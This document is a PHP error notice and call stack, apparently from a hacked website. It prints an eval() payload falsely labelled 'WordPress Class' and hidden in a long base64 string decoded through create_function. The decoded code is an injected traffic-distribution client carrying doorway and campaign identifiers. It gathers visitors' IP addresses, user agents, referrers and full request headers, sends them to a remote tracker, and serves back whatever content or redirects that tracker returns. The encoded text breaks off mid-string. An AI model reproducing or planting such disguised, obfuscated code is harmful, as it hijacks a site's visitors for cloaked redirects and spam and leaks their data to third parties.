( ! ) Notice: Undefined offset: 2 in /home/mytoolsshoppy/public_html/nes.edu.in/zehi/bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 739
Call Stack
#TimeMemoryFunctionLocation
10.0101363072{main}( ).../bqpj.php:0
20.0106421416__lambda_func( ).../bqpj.php:145
30.0108498048eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN18xIjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJicXBqIjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1N0YXRlUmVzdG9yZWQoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fc3RhdGVSZXN0b3JlZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNQcmVmZXRjaERldGVjdGVkKCkNCiAgICB7DQogICAgICAgICRjaGVja1NlcnZlclBhcmFtcyA9IGFycmF5KCdIVFRQX1hfUFVSUE9TRScgPT4gJ3ByZXZpZXcnLCAnSFRUUF9YX01PWicgPT4gJ3ByZWZldGNoJywgJ0hUVFBfWF9GQl9IVFRQX0VOR0lORScgPT4gJ0xpZ2VyJyk7DQogICAgICAgIGZvcmVhY2ggKCRjaGVja1NlcnZlclBhcmFtcyBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskbmFtZV0pICYmICRfU0VSVkVSWyRuYW1lXSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNhdmVDb29raWUoJGtleSwgJHZhbHVlLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWyRrZXldKSAmJiAkX0NPT0tJRVska2V5XSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGhpcy0+X2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCksICcvJywgJHRoaXMtPl9nZXRDb29raWVIb3N0KCkpOw0KICAgICAgICB9DQogICAgICAgICRfQ09PS0lFWyRrZXldID0gJHZhbHVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwYXJhbSgkbmFtZSwgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9wYXJhbXNbJG5hbWVdID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyYW1zKCR2YWx1ZSkNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJHZhbHVlKSkgew0KICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkdmFsdWUpKSB7DQogICAgICAgICAgICAgICAgcGFyc2Vfc3RyKCR2YWx1ZSwgJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnBhcmFtKCRuYW1lLCAkdmFsdWUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzZXQoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBudWxsOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwZXJmb3JtUmVxdWVzdCgpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9yZXN1bHQpIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlc3VsdDsNCiAgICAgICAgfQ0KICAgICAgICAkcmVxdWVzdCA9ICR0aGlzLT5fYnVpbGRSZXF1ZXN0VXJsKCk7DQogICAgICAgICRwYXJhbXMgPSAkdGhpcy0+Z2V0UGFyYW1zKCk7DQogICAgICAgICRvcHRpb25zID0gJHRoaXMtPl9nZXRSZXF1ZXN0T3B0aW9ucygpOw0KICAgICAgICAkdGhpcy0+bG9nKCdSZXF1ZXN0OiAnIC4gJHJlcXVlc3QpOw0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5faHR0cENsaWVudC0+cmVxdWVzdCgkcmVxdWVzdCwgJHBhcmFtcywgJG9wdGlvbnMpOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnUmVzcG9uc2U6ICcgLiAkcmVzdWx0KTsNCiAgICAgICAgfSBjYXRjaCAoS1RyYWZmaWNDbGllbnRFcnJvciAkZSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5fZGVidWcpIHsNCiAgICAgICAgICAgICAgICB0aHJvdyAkZTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbGY6OkVSUk9SOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fcmVzdWx0ID0ganNvbl9kZWNvZGUoJHJlc3VsdCk7DQogICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgNCiAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LA0KICAgICAgICAgICAgaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXNfdHRsKSA/ICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCA6IG51bGwNCiAgICAgICAgKTsNCg0KICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXMpKSB7DQogICAgICAgICAgICAkdGhpcy0+X3NhdmVLZWl0YXJvQ29va2llcygkdGhpcy0+X3Jlc3VsdC0+Y29va2llcyAsICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR0aGlzLT5fcmVzdWx0Ow0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlKCRicmVhayA9IGZhbHNlLCAkcHJpbnQgPSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGNvbnRlbnQgPSAkdGhpcy0+Z2V0Q29udGVudCgpOw0KDQogICAgICAgIGlmICgkcHJpbnQpIHsNCiAgICAgICAgICAgICRoZWFkZXJzID0gJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgICAgICAgICBlY2hvICRjb250ZW50Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICRjb250ZW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCRicmVhayAmJiAoIWVtcHR5KCRjb250ZW50KSB8fCAkdGhpcy0+Y2hlY2tIZWFkZXJzKCRoZWFkZXJzKSkpIHsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY2hlY2tIZWFkZXJzKCRoZWFkZXJzKQ0KICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRoZWFkZXJzKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0xvY2F0aW9uOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGhlYWRlciA9PSAnSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldENvbnRlbnQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkY29udGVudCA9ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQpKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmVycm9yKSkgew0KICAgICAgICAgICAgICAgICRjb250ZW50IC49ICAkcmVzdWx0LT5lcnJvcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICghZW1wdHkoJHJlc3VsdC0+Ym9keSkpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+Y29udGVudFR5cGUpICYmIChzdHJzdHIoJHJlc3VsdC0+Y29udGVudFR5cGUsICdpbWFnZScpIHx8IHN0cnN0cigkcmVzdWx0LT5jb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL3BkZicpKSkgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJHJlc3VsdC0+Ym9keSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gJHJlc3VsdC0+Ym9keTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNob3dMb2coJHNlcGFyYXRvciA9ICc8YnIgLz4nKQ0KICAgIHsNCiAgICAgICAgZWNobyAnPGhyPicgLiBpbXBsb2RlKCRzZXBhcmF0b3IsICR0aGlzLT5nZXRMb2coKSkuICc8aHI+JzsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gbG9nKCRtc2cpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9kZWJ1Zykgew0KICAgICAgICAgICAgZXJyb3JfbG9nKCRtc2cpOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fbG9nW10gPSAkbXNnOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMb2coKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fbG9nOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlQW5kQnJlYWsoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPmV4ZWN1dGUodHJ1ZSk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFBhcmFtcygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPl9wYXJhbXM7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc3RvcmVTdGF0ZSgkcmVzdWx0LCAkdHRsKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9zdGFydFNlc3Npb24oKTsNCiAgICAgICAgJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSA9IGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgICAgICAkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPSB0aW1lKCkgKyAoJHR0bCAqIDYwICogNjApOw0KDQogICAgICAgIC8vIGZvciBiYWNrLWNvbXBhdGliaWxpdHkgcHVycG9zZQ0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8pKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8tPnN1Yl9pZCkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9TVUJfSURdID0gJHJlc3VsdC0+aW5mby0+c3ViX2lkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5pbmZvLT50b2tlbikpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9MQU5ESU5HX1RPS0VOXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc2F2ZUtlaXRhcm9Db29raWVzKCRjb29raWVzLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJGNvb2tpZXMgYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICR0aGlzLT5zYXZlQ29va2llKCRrZXksICR2YWx1ZSwgJHR0bCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgICRmaWxlID0gIiI7DQogICAgICAgICRsaW5lID0gIiI7DQogICAgICAgIGlmIChoZWFkZXJzX3NlbnQoJGZpbGUsICRsaW5lKSkgew0KICAgICAgICAgICAgJG1zZyA9ICJCb2R5IG91dHB1d